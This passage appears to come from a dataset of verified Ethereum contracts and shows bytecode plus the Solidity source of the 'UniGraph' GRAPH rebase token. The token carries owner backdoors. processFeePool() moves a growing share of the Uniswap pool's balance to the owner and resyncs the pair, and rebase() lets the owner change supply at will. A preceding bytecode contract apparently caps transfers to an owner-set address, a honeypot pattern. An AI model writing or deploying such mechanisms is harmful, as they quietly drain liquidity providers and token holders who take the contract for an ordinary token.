} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d714610276578063a9059cbb146102a6578063dd62ed3e146102d6578063f66bb19214610306576100f5565b8063715018a6146102145780638da5cb5b1461021e5780638efecdda1461023c57806395d89b4114610258576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b457806370a08231146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610336565b60405161010f91906113a8565b60405180910390f35b610132600480360381019061012d919061115d565b6103c8565b60405161013f919061138d565b60405180910390f35b6101506103e6565b60405161015d91906114ea565b60405180910390f35b610180600480360381019061017b919061110e565b6103f0565b60405161018d919061138d565b60405180910390f35b61019e610581565b6040516101ab9190611505565b60405180910390f35b6101ce60048036038101906101c9919061115d565b61058a565b6040516101db919061138d565b60405180910390f35b6101fe60048036038101906101f991906110a9565b610636565b60405161020b91906114ea565b60405180910390f35b61021c61067e565b005b6102266107d6565b6040516102339190611372565b60405180910390f35b610256600480360381019061025191906110a9565b610800565b005b6102606108db565b60405161026d91906113a8565b60405180910390f35b610290600480360381019061028b919061115d565b61096d565b60405161029d919061138d565b60405180910390f35b6102c060048036038101906102bb919061115d565b610a58565b6040516102cd919061138d565b60405180910390f35b6102f060048036038101906102eb91906110d2565b610a76565b6040516102fd91906114ea565b60405180910390f35b610320600480360381019061031b9190611199565b610afd565b60405161032d919061138d565b60405180910390f35b6060600680546103459061161a565b80601f01602080910402602001604051908101604052809291908181526020018280546103719061161a565b80156103be5780601f10610393576101008083540402835291602001916103be565b820191906000526020600020905b8154815290600101906020018083116103a157829003601f168201915b5050505050905090565b60006103dc6103d5610ba6565b8484610bae565b6001905092915050565b6000600254905090565b60006103fd848484610d79565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610448610ba6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104bf9061144a565b60405180910390fd5b6104dc856104d4610ba6565b858403610bae565b600073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156105755783600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b60019150509392505050565b60006012905090565b600061062c610597610ba6565b8484600160006105a5610ba6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610627919061153c565b610bae565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106bf610ba6565b73ffffffffffffffffffffffffffffffffffffffff1614610715576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070c906114ca565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610841610ba6565b73ffffffffffffffffffffffffffffffffffffffff1614610897576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088e906114ca565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6060600780546108ea9061161a565b80601f01602080910402602001604051908101604052809291908181526020018280546109169061161a565b80156109635780601f1061093857610100808354040283529160200191610963565b820191906000526020600020905b81548152906001019060200180831161094657829003601f168201915b5050505050905090565b6000806001600061097c610ba6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610a39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a30906114aa565b60405180910390fd5b610a4d610a44610ba6565b85858403610bae565b600191505092915050565b6000610a6c610a65610ba6565b8484610d79565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b40610ba6565b73ffffffffffffffffffffffffffffffffffffffff1614610b96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8d906114ca565b60405180910390fd5b8160038190555060019050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c159061148a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c859061140a565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d6c91906114ea565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610de9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de09061146a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e50906113ca565b60405180910390fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ef4576003548110610ef3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eea906113ea565b60405180910390fd5b5b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610f7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f719061142a565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461100d919061153c565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161107191906114ea565b60405180910390a350505050565b60008135905061108e8161195c565b92915050565b6000813590506110a381611973565b92915050565b6000602082840312156110bb57600080fd5b60006110c98482850161107f565b91505092915050565b600080604083850312156110e557600080fd5b60006110f38582860161107f565b92505060206111048582860161107f565b9150509250929050565b60008060006060848603121561112357600080fd5b60006111318682870161107f565b93505060206111428682870161107f565b925050604061115386828701611094565b9150509250925092565b6000806040838503121561117057600080fd5b600061117e8582860161107f565b925050602061118f85828601611094565b9150509250929050565b6000602082840312156111ab57600080fd5b60006111b984828501611094565b91505092915050565b6111cb81611592565b82525050565b6111da816115a4565b82525050565b60006111eb82611520565b6111f5818561152b565b93506112058185602086016115e7565b61120e816116aa565b840191505092915050565b600061122660238361152b565b9150611231826116bb565b604082019050919050565b6000611249602a8361152b565b91506112548261170a565b604082019050919050565b600061126c60228361152b565b915061127782611759565b604082019050919050565b600061128f60268361152b565b915061129a826117a8565b604082019050919050565b60006112b260288361152b565b91506112bd826117f7565b604082019050919050565b60006112d560258361152b565b91506112e082611846565b604082019050919050565b60006112f860248361152b565b915061130382611895565b604082019050919050565b600061131b60258361152b565b9150611326826118e4565b604082019050919050565b600061133e60118361152b565b915061134982611933565b602082019050919050565b61135d816115d0565b82525050565b61136c816115da565b82525050565b600060208201905061138760008301846111c2565b92915050565b60006020820190506113a260008301846111d1565b92915050565b600060208201905081810360008301526113c281846111e0565b905092915050565b600060208201905081810360008301526113e381611219565b9050919050565b600060208201905081810360008301526114038161123c565b9050919050565b600060208201905081810360008301526114238161125f565b9050919050565b6000602082019050818103600083015261144381611282565b9050919050565b60006020820190508181036000830152611463816112a5565b9050919050565b60006020820190508181036000830152611483816112c8565b9050919050565b600060208201905081810360008301526114a3816112eb565b9050919050565b600060208201905081810360008301526114c38161130e565b9050919050565b600060208201905081810360008301526114e381611331565b9050919050565b60006020820190506114ff6000830184611354565b92915050565b600060208201905061151a6000830184611363565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611547826115d0565b9150611552836115d0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156115875761158661164c565b5b828201905092915050565b600061159d826115b0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156116055780820151818401526020810190506115ea565b83811115611614576000848401525b50505050565b6000600282049050600182168061163257607f821691505b602082108114156116465761164561167b565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f5472616e73616374696f6e20616d6f756e74206d757374206265206c6573732060008201527f7468616e206c696d697400000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b7f596f7520617265206e6f74206f776e6572000000000000000000000000000000600082015250565b61196581611592565b811461197057600080fd5b50565b61197c816115d0565b811461198757600080fd5b5056fea2646970667358221220b31d7e92fbe557544597a3c3609b0be0d053b118e9fc8d75b5a946aad3ed96ae64736f6c63430008010033 | {"success": true, "error": null, "results": {}} | 9,625 |
0x165440036ce972c5f8ebef667086707e48b2623e | /**
*Submitted for verification at Etherscan.io on 2020-08-15
*/
pragma solidity 0.6.0;
/*
https://UniGraph.app
___ ___ ___ ___ ___ ___ ___
/\__\ /\__\ ___ /\ \ /\ \ /\ \ /\ \ /\__\
/:/ / /::| | /\ \ /::\ \ /::\ \ /::\ \ /::\ \ /:/ /
/:/ / /:|:| | \:\ \ /:/\:\ \ /:/\:\ \ /:/\:\ \ /:/\:\ \ /:/__/
/:/ / ___ /:/|:| |__ /::\__\ /:/ \:\ \ /::\~\:\ \ /::\~\:\ \ /::\~\:\ \ /::\ \ ___
/:/__/ /\__\ /:/ |:| /\__\ __/:/\/__/ /:/__/_\:\__\ /:/\:\ \:\__\ /:/\:\ \:\__\ /:/\:\ \:\__\ /:/\:\ /\__\
\:\ \ /:/ / \/__|:|/:/ / /\/:/ / \:\ /\ \/__/ \/_|::\/:/ / \/__\:\/:/ / \/__\:\/:/ / \/__\:\/:/ /
\:\ /:/ / |:/:/ / \::/__/ \:\ \:\__\ |:|::/ / \::/ / \::/ / \::/ /
\:\/:/ / |::/ / \:\__\ \:\/:/ / |:|\/__/ /:/ / \/__/ /:/ /
\::/ / /:/ / \/__/ \::/ / |:| | /:/ / /:/ /
\/__/ \/__/ \/__/ \|__| \/__/ \/__/
*/
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable {
address public _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () public {
_owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// Uniswap v2 interfaces
interface IUniswapV2Pair {
function sync() external;
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract Graph is Ownable {
string public name = "UniGraph";
string public symbol = "GRAPH";
uint256 public constant decimals = 18;
using SafeMath for uint256;
event LogRebase(uint256 indexed epoch, uint256 totalSupply);
modifier validRecipient(address to) {
require(to != address(0x0));
require(to != address(this));
_;
}
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor() public override {
_owner = msg.sender;
_feeTaker = msg.sender;
_totalSupply = INITIAL_FRAGMENTS_SUPPLY;
_gonBalances[_owner] = TOTAL_GONS;
_gonsPerFragment = TOTAL_GONS.div(_totalSupply);
lastPoolFeeTime = now;
emit Transfer(address(0x0), _owner, _totalSupply);
}
function updateBranding(string memory newName, string memory newSymbol) public onlyOwner {
name = newName;
symbol = newSymbol;
}
uint256 private constant DECIMALS = 18;
uint256 private constant MAX_UINT256 = ~uint256(0);
uint256 private constant INITIAL_FRAGMENTS_SUPPLY = 100_000 * 10**DECIMALS;
uint256 private constant TOTAL_GONS = MAX_UINT256 - (MAX_UINT256 % INITIAL_FRAGMENTS_SUPPLY);
uint256 private constant MAX_SUPPLY = ~uint128(0); // (2^128) - 1
uint256 private _totalSupply;
uint256 private _gonsPerFragment;
mapping(address => uint256) private _gonBalances;
mapping (address => mapping (address => uint256)) private _allowedFragments;
address public _feeTaker;
event FeeTakerTransferred(address indexed previousFeeTaker, address indexed newFeeTaker);
function transferFeeTaker(address newFeeTaker) public virtual onlyOwner {
emit FeeTakerTransferred(_feeTaker, newFeeTaker);
_feeTaker = newFeeTaker;
}
function feeTaker() public view returns (address) {
return _feeTaker;
}
uint256 epoch = 0;
function rebasePer(uint256 supplyPercent) external onlyOwner returns (uint256) {
epoch = epoch.add(1);
if(supplyPercent <= 50 || supplyPercent >= 100) {
revert();
}
uint256 absSupplyPercent = uint256(supplyPercent);
_totalSupply = _totalSupply.mul(absSupplyPercent).div(100);
if (_totalSupply > MAX_SUPPLY) {
_totalSupply = MAX_SUPPLY;
}
_gonsPerFragment = TOTAL_GONS.div(_totalSupply);
emit LogRebase(epoch, _totalSupply);
return _totalSupply;
}
function rebase(int256 supplyDelta) external onlyOwner returns (uint256) {
epoch = epoch.add(1);
if (supplyDelta == 0) {
emit LogRebase(epoch, _totalSupply);
return _totalSupply;
}
uint256 absSupplyDelta = uint256(supplyDelta);
if(supplyDelta < 0) {
absSupplyDelta = uint256(-supplyDelta);
}
if(supplyDelta < 0) {
_totalSupply = _totalSupply.sub(absSupplyDelta);
}
else {
_totalSupply = _totalSupply.add(absSupplyDelta);
}
if (_totalSupply > MAX_SUPPLY) {
_totalSupply = MAX_SUPPLY;
}
_gonsPerFragment = TOTAL_GONS.div(_totalSupply);
emit LogRebase(epoch, _totalSupply);
return _totalSupply;
}
function totalSupply()
public
view
returns (uint256)
{
return _totalSupply;
}
function balanceOf(address who)
public
view
returns (uint256)
{
return _gonBalances[who].div(_gonsPerFragment);
}
function transfer(address to, uint256 value)
public
validRecipient(to)
returns (bool)
{
uint256 gonValue = value.mul(_gonsPerFragment);
_gonBalances[msg.sender] = _gonBalances[msg.sender].sub(gonValue);
_gonBalances[to] = _gonBalances[to].add(gonValue);
emit Transfer(msg.sender, to, value);
return true;
}
function allowance(address owner_, address spender)
public
view
returns (uint256)
{
return _allowedFragments[owner_][spender];
}
function transferFrom(address from, address to, uint256 value)
public
validRecipient(to)
returns (bool)
{
_allowedFragments[from][msg.sender] = _allowedFragments[from][msg.sender].sub(value);
uint256 gonValue = value.mul(_gonsPerFragment);
_gonBalances[from] = _gonBalances[from].sub(gonValue);
_gonBalances[to] = _gonBalances[to].add(gonValue);
emit Transfer(from, to, value);
return true;
}
function approve(address spender, uint256 value)
public
returns (bool)
{
_allowedFragments[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_allowedFragments[msg.sender][spender] =
_allowedFragments[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
uint256 oldValue = _allowedFragments[msg.sender][spender];
if (subtractedValue >= oldValue) {
_allowedFragments[msg.sender][spender] = 0;
} else {
_allowedFragments[msg.sender][spender] = oldValue.sub(subtractedValue);
}
emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]);
return true;
}
// Uniswap Pool Methods
IUniswapV2Factory public uniswapFactory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
uint256 public POOL_FEE_DAILY_PERCENT = 1;
function setPoolFeePercent(uint256 newPer) public onlyOwner {
require(newPer >= 0);
require(newPer < 5);
POOL_FEE_DAILY_PERCENT = newPer;
}
function poolFeeAvailable() public view returns (uint256) {
uint256 timeBetweenLastPoolBurn = now - lastPoolFeeTime;
uint256 tokensInUniswapPool = balanceOf(uniswapPool);
uint256 dayInSeconds = 1 days;
return (tokensInUniswapPool.mul(POOL_FEE_DAILY_PERCENT)
.mul(timeBetweenLastPoolBurn))
.div(dayInSeconds)
.div(100);
}
function pretty() public view returns (uint256) {
return _totalSupply.div(1e18);
}
address public uniswapPool;
uint256 public lastPoolFeeTime;
event PoolFeeDropped(uint256 amount, uint256 poolBalance);
function processFeePool() external onlyOwner {
// Reset last fee time
lastPoolFeeTime = now;
uint256 feeQty = poolFeeAvailable();
_totalSupply = _totalSupply.sub(feeQty);
uint256 burnQtyInGons = _gonsPerFragment * feeQty;
_gonBalances[uniswapPool] = _gonBalances[uniswapPool].sub(burnQtyInGons);
_gonBalances[_owner] = _gonBalances[_owner].add(burnQtyInGons);
IUniswapV2Pair(uniswapPool).sync();
emit PoolFeeDropped(feeQty, balanceOf(uniswapPool));
}
} | 0x608060405234801561001057600080fd5b50600436106101c45760003560e01c80638bdb2afa116100f9578063a9059cbb11610097578063bdd3d82511610071578063bdd3d8251461058b578063d1e2826214610593578063dd62ed3e146105b0578063f2fde38b146105de576101c4565b8063a9059cbb1461054f578063ad1443691461057b578063b2bdfa7b14610583576101c4565b806391868da7116100d357806391868da7146104ed57806395d89b41146104f55780639a512489146104fd578063a457c2d714610523576101c4565b80638bdb2afa146104d55780638da5cb5b146104dd5780638eb644ae146104e5576101c4565b8063313ce567116101665780635b2f529d116101405780635b2f529d1461047b57806370a0823114610483578063749f1044146104a95780637ebf94c9146104cd576101c4565b8063313ce5671461031a57806339509351146103225780633d47a8771461034e576101c4565b806318160ddd116101a257806318160ddd146102b55780631e8cdab3146102bd57806323b872dd146102c55780632c79aa93146102fb576101c4565b806306fdde03146101c9578063095ea7b3146102465780630ab114f914610286575b600080fd5b6101d1610604565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561020b5781810151838201526020016101f3565b50505050905090810190601f1680156102385780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102726004803603604081101561025c57600080fd5b506001600160a01b038135169060200135610691565b604080519115158252519081900360200190f35b6102a36004803603602081101561029c57600080fd5b50356106f8565b60408051918252519081900360200190f35b6102a361086b565b6102a3610872565b610272600480360360608110156102db57600080fd5b506001600160a01b03813581169160208101359091169060400135610895565b6103186004803603602081101561031157600080fd5b50356109f4565b005b6102a3610a53565b6102726004803603604081101561033857600080fd5b506001600160a01b038135169060200135610a58565b6103186004803603604081101561036457600080fd5b81019060208101813564010000000081111561037f57600080fd5b82018360208201111561039157600080fd5b803590602001918460018302840111640100000000831117156103b357600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929594936020810193503591505064010000000081111561040657600080fd5b82018360208201111561041857600080fd5b8035906020019184600183028401116401000000008311171561043a57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610af1945050505050565b610318610b6a565b6102a36004803603602081101561049957600080fd5b50356001600160a01b0316610d10565b6104b1610d3e565b604080516001600160a01b039092168252519081900360200190f35b6104b1610d4d565b6104b1610d5c565b6104b1610d6b565b6102a3610d7a565b6102a3610d80565b6101d1610dec565b6103186004803603602081101561051357600080fd5b50356001600160a01b0316610e44565b6102726004803603604081101561053957600080fd5b506001600160a01b038135169060200135610eed565b6102726004803603604081101561056557600080fd5b506001600160a01b038135169060200135610fdc565b6102a36110d4565b6104b16110da565b6104b16110e9565b6102a3600480360360208110156105a957600080fd5b50356110f8565b6102a3600480360360408110156105c657600080fd5b506001600160a01b0381358116916020013516611194565b610318600480360360208110156105f457600080fd5b50356001600160a01b03166111bf565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106895780601f1061065e57610100808354040283529160200191610689565b820191906000526020600020905b81548152906001019060200180831161066c57829003601f168201915b505050505081565b3360008181526006602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b600080546001600160a01b03163314610746576040805162461bcd60e51b815260206004820181905260248201526000805160206115c6833981519152604482015290519081900360640190fd5b60085461075a90600163ffffffff6112ac16565b600855816107a35760085460035460408051918252517f72725a3b1e5bd622d6bcd1339bb31279c351abe8f541ac7fd320f24e1b1641f29181900360200190a250600354610866565b8160008112156107b4578260000390505b60008312156107d8576003546107d0908263ffffffff61130d16565b6003556107ef565b6003546107eb908263ffffffff6112ac16565b6003555b6003546001600160801b03101561080c576001600160801b036003555b6003546108259069085afffa6ff50bffffff199061134f565b60045560085460035460408051918252517f72725a3b1e5bd622d6bcd1339bb31279c351abe8f541ac7fd320f24e1b1641f29181900360200190a250506003545b919050565b6003545b90565b60035460009061089090670de0b6b3a764000063ffffffff61134f16565b905090565b6000826001600160a01b0381166108ab57600080fd5b6001600160a01b0381163014156108c157600080fd5b6001600160a01b03851660009081526006602090815260408083203384529091529020546108f5908463ffffffff61130d16565b6001600160a01b038616600090815260066020908152604080832033845290915281209190915560045461093090859063ffffffff61139116565b6001600160a01b03871660009081526005602052604090205490915061095c908263ffffffff61130d16565b6001600160a01b038088166000908152600560205260408082209390935590871681522054610991908263ffffffff6112ac16565b6001600160a01b0380871660008181526005602090815260409182902094909455805188815290519193928a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350600195945050505050565b6000546001600160a01b03163314610a41576040805162461bcd60e51b815260206004820181905260248201526000805160206115c6833981519152604482015290519081900360640190fd5b60058110610a4e57600080fd5b600a55565b601281565b3360009081526006602090815260408083206001600160a01b0386168452909152812054610a8c908363ffffffff6112ac16565b3360008181526006602090815260408083206001600160a01b0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b6000546001600160a01b03163314610b3e576040805162461bcd60e51b815260206004820181905260248201526000805160206115c6833981519152604482015290519081900360640190fd5b8151610b519060019060208501906114e6565b508051610b659060029060208401906114e6565b505050565b6000546001600160a01b03163314610bb7576040805162461bcd60e51b815260206004820181905260248201526000805160206115c6833981519152604482015290519081900360640190fd5b42600c556000610bc5610d80565b600354909150610bdb908263ffffffff61130d16565b600355600454600b546001600160a01b031660009081526005602052604090205490820290610c10908263ffffffff61130d16565b600b546001600160a01b0390811660009081526005602052604080822093909355805490911681522054610c4a908263ffffffff6112ac16565b600080546001600160a01b0390811682526005602052604080832093909355600b54835160016209351760e01b03198152935191169263fff6cae992600480830193919282900301818387803b158015610ca357600080fd5b505af1158015610cb7573d6000803e3d6000fd5b5050600b547fda697c13e34b3b7212b57c5180b1a4af1af15f0d8aa43ec8f8ecb2ec24b62c469250849150610cf4906001600160a01b0316610d10565b6040805192835260208301919091528051918290030190a15050565b6004546001600160a01b03821660009081526005602052604081205490916106f2919063ffffffff61134f16565b6007546001600160a01b031690565b6007546001600160a01b031681565b6009546001600160a01b031681565b6000546001600160a01b031690565b600c5481565b600c54600b546000914203908290610da0906001600160a01b0316610d10565b90506000620151809050610de46064610dd883610dd887610dcc600a548961139190919063ffffffff16565b9063ffffffff61139116565b9063ffffffff61134f16565b935050505090565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156106895780601f1061065e57610100808354040283529160200191610689565b6000546001600160a01b03163314610e91576040805162461bcd60e51b815260206004820181905260248201526000805160206115c6833981519152604482015290519081900360640190fd5b6007546040516001600160a01b038084169216907f4e1859f4ffa533d581987fc7f9f1b7845dcafe0f24a6e901732faf4ebdecbb0190600090a3600780546001600160a01b0319166001600160a01b0392909216919091179055565b3360009081526006602090815260408083206001600160a01b0386168452909152812054808310610f41573360009081526006602090815260408083206001600160a01b0388168452909152812055610f76565b610f51818463ffffffff61130d16565b3360009081526006602090815260408083206001600160a01b03891684529091529020555b3360008181526006602090815260408083206001600160a01b0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b6000826001600160a01b038116610ff257600080fd5b6001600160a01b03811630141561100857600080fd5b600061101f6004548561139190919063ffffffff16565b33600090815260056020526040902054909150611042908263ffffffff61130d16565b33600090815260056020526040808220929092556001600160a01b03871681522054611074908263ffffffff6112ac16565b6001600160a01b0386166000818152600560209081526040918290209390935580518781529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3506001949350505050565b600a5481565b6000546001600160a01b031681565b600b546001600160a01b031681565b600080546001600160a01b03163314611146576040805162461bcd60e51b815260206004820181905260248201526000805160206115c6833981519152604482015290519081900360640190fd5b60085461115a90600163ffffffff6112ac16565b60085560328211158061116e575060648210155b1561117857600080fd5b60035482906107eb90606490610dd8908463ffffffff61139116565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b6000546001600160a01b0316331461120c576040805162461bcd60e51b815260206004820181905260248201526000805160206115c6833981519152604482015290519081900360640190fd5b6001600160a01b0381166112515760405162461bcd60e51b815260040180806020018281038252602681526020018061157f6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600082820183811015611306576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b600061130683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113ea565b600061130683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611481565b6000826113a0575060006106f2565b828202828482816113ad57fe5b04146113065760405162461bcd60e51b81526004018080602001828103825260218152602001806115a56021913960400191505060405180910390fd5b600081848411156114795760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561143e578181015183820152602001611426565b50505050905090810190601f16801561146b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600081836114d05760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561143e578181015183820152602001611426565b5060008385816114dc57fe5b0495945050505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061152757805160ff1916838001178555611554565b82800160010185558215611554579182015b82811115611554578251825591602001919060010190611539565b5061156092915061156456